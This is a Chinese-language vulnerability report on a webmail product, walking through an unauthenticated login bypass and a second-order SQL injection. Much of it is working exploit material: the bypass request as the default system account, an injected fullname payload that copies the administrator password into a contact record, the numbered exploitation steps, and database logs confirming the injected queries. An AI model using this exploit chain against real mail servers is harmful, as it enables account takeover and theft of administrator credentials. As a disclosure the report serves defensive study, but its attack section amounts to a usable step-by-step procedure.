漏洞文件/fast/oab/module/operates.php代码
与上一个二次注入缺陷原理都一样,这次是另一个文件,是无需登录的
code 区域 if ( ACTION == "save-to-pab" )
{
include_once( LIB_PATH."PAB.php" );
$PAB = PAB::getinstance( );
$maillist_id = trim( $_GET['maillist'] );
if ( $maillist_id )
{
......
}
else
{
$user_ids = trim( $_GET['userlist'] );
if ( !$user_ids )
{
dump_msg( "param_error", "参数错误!" );
}
$where = "t1.UserID IN (".$user_ids.")";//这里是之前提交的一个注入
$arr_tmp = $Mailbox->getMailboxInfo( $domain_id, $where, "", "", "", "", 0 );//此处是从数据库里读出用户数据
$user_all = $arr_tmp['data'];
if ( !$user_all )
{
dump_json( array( "status" => TRUE, "message" => "" ) );
}
foreach ( $user_all as $user )
{
$qq = $msn = "";
if ( strpos( $user['qqmsn'], "@" ) )
{
$msn = $user['qqmsn'];
}
else
{
$qq = $user['qqmsn'];
}
if ( !$PAB->getContactByMail( $user_id, $user['email'], "contact_id", 0 ) )
{
$data = array(
"user_id" => $user_id,
"fullname" => $user['FullName'],//将读出的数据未经处理
"pref_email" => $user['email'],
"pref_tel" => $user['teleextension'] ? $user['teleextension'] : $user['mobil'],
"birthday" => $user['birthday'],
"im_qq" => $qq,
"im_msn" => $msn,
"updated" => date( "Y-m-d H:i:s" )
);
$res = $PAB->add_contact( $data, 0 );//将从读出的数据未经处理,直接执行了插入操作
if ( !$res )
{
dump_json( array( "status" => FALSE, "message" => "添加联系人时发生错误,添加失败!" ) );
}
}
}
}
dump_json( array( "status" => TRUE, "message" => "" ) );
}
我们寻找可控的用户数据输入,代码在/fast/option/module/o_userinfo.php为
code 区域 if ( !defined( "PRELOAD_OK" ) )
{
exit( "error" );
}
$user_id = get_session( "user_id" );
$domain_id = get_session( "domain_id" );
if ( ACTION == "userinfo" )
{
$url = "/webmail/fast/option/index.php?module=view&action=userinfo";
$where = "UserID='".$user_id."'";
$data = array(
"fullname" => gss( $_POST['fullname'] )//修改姓名
);
$result = $Mailbox->update_mailbox( $data, $where, 0 );//修改姓名,执行更新操作
if ( !$result )
{
redirect( $url, "修改姓名时出现错误,修改失败!" );
}
$data = array(
"sex" => gss( $_POST['gender'] ),
"birthday" => gss( $_POST['bd_year'] )."-".gss( $_POST['bd_month'] )."-".gss( $_POST['bd_day'] ),
"mobil" => gss( $_POST['mobile'] ),
"teleextension" => gss( $_POST['tel'] ),
"qqmsn" => gss( $_POST['im'] )
);
$result = $Mailbox->update_info( $data, $where, 0 );//先修改用户个人信息,第一步
$msg = $result ? "" : "修改用户信息时出现错误,修改失败!";
redirect( $url );
}
无需登录的原因见之前的漏洞分析,其只验证了一个用户名,存在该用户名即认为登录成功,从而可执行之后的所有敏感函数,而系统又默认存在system帐号,所以可以利用。漏洞利用过程为
向http://**.**.**.**/webmail/fast/index.php?module=operate&action=login post如下数据mailbox=system@**.**.**.**&link=? 从而获得登录认证,如图
然后执行修改中文名的功能,执行请求为,向
http://**.**.**.**/webmail/fast/option/index.php?module=operate&action=userinfo post数据,fullname=',`homepage`=(SELECT password from userlist where userid=2)# 如图
然后执行如下操作,
code 区域 150123 10:12:23 2720 Connect umail@localhost on
2720 Query SET NAMES 'UTF8'
2720 Init DB umail
2720 Query UPDATE userlist SET `fullname`='\',`homepage`=(SELECT password from userlist where userid=2)#' WHERE UserID='2'
2720 Query UPDATE mailuserinfo SET `sex`='',`birthday`='--',`mobil`='',`teleextension`='',`qqmsn`='' WHERE UserID='2'
2720 Quit
更新操作为
code 区域 150123 10:15:48 2723 Connect umail@localhost on
2723 Query SET NAMES 'UTF8'
2723 Init DB umail
2723 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (2)
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2723 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (2)
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2723 Quit
150123 10:15:50 2678 Query SELECT DomainName from domains
2678 Query SELECT UserID, Mailbox, FullName, MailDir, Password, AutoDecode, IsForwarding, AllowAccess, AllowChangeViaEmail, KeepForwardedMail, HideFromEveryone, EncryptMail, ApplyQuotas, EnableMultiPop, CanModifyGAB, CalendarOnly, MaxMessageCount, MaxDiskSpace, UserList.DomainID, Domains.DomainName, Domains.DomainID FROM UserList, Domains WHERE UserList.DomainID=Domains.DomainID AND FullName = 'mdaemon server' AND DomainName = '**.**.**.**'
2678 Query SELECT DomainName from domains
2678 Query SELECT * FROM Domains
发现其并未执行insert操作,原因是,if ( !$PAB->getContactByMail( $user_id, $user['email'], "contact_id", 0 ) )
即当查不到数据时候才可以,所以此处还是使用一个普通的用户名来获取system管理的密码获得管理过程为,首先执行获得session
第二步,更改用户信息
http://**.**.**.**/webmail/fast/option/index.php?module=operate&action=userinfo post数据为fullname=',`homepage`=(SELECT password from userlist where userid=2)#
第三步,获取用户的userid
http://**.**.**.**/webmail/fast/oab/index.php?module=operate&action=member-get&page=1&orderby=&is_reverse=1&keyword=test0008
第四步,执行修改操作http://**.**.**.**/webmail/fast/oab/index.php?module=operate&action=save-to-pab&userlist=10
第五步,发现虽然更新了数据,但并无法查看到个人的信息,多次查找发现,有一处导出通讯录的功能可使用,因而构造请求
http://**.**.**.**/webmail/fast/pab/index.php?module=operate&action=contact-export即可,结果如图
获得管理员密码,即获得整个系统的控制权限,整个sql执行的过程为
code 区域 150123 10:28:14 2744 Connect umail@localhost on
2744 Query SET NAMES 'UTF8'
2744 Init DB umail
2744 Query UPDATE userlist SET `fullname`='\',`homepage`=(SELECT password from userlist where userid=2)#' WHERE UserID='10'
2744 Query UPDATE mailuserinfo SET `sex`='',`birthday`='--',`mobil`='',`teleextension`='',`qqmsn`='' WHERE UserID='10'
2744 Quit
code 区域 150123 10:29:50 2747 Connect umail@localhost on
2747 Query SET NAMES 'UTF8'
2747 Init DB umail
2747 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (10)
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2747 Query SELECT t1.UserID,t1.Mailbox,t1.FullName,t1.EnglishName,t2.*
FROM userlist as t1, mailuserinfo as t2
WHERE t1.DomainID='1' AND t1.UserID>2 AND t1.UserID=t2.UserID AND t2.is_hidden=0 AND t1.UserID IN (10)
ORDER BY t1.OrderNo DESC,t1.Mailbox ASC
2747 Query SELECT contact_id FROM pab_contact WHERE user_id='10' AND pref_email='test0008@**.**.**.**' LIMIT 1
2747 Query INSERT INTO pab_contact SET `user_id`='10',`fullname`='',`homepage`=(SELECT password from userlist where userid=2)#',`pref_email`='test0008@**.**.**.**',`pref_tel`='',`birthday`='0000-00-00',`im_qq`='',`im_msn`='',`updated`='2015-01-23 10:29:50'
2747 Quit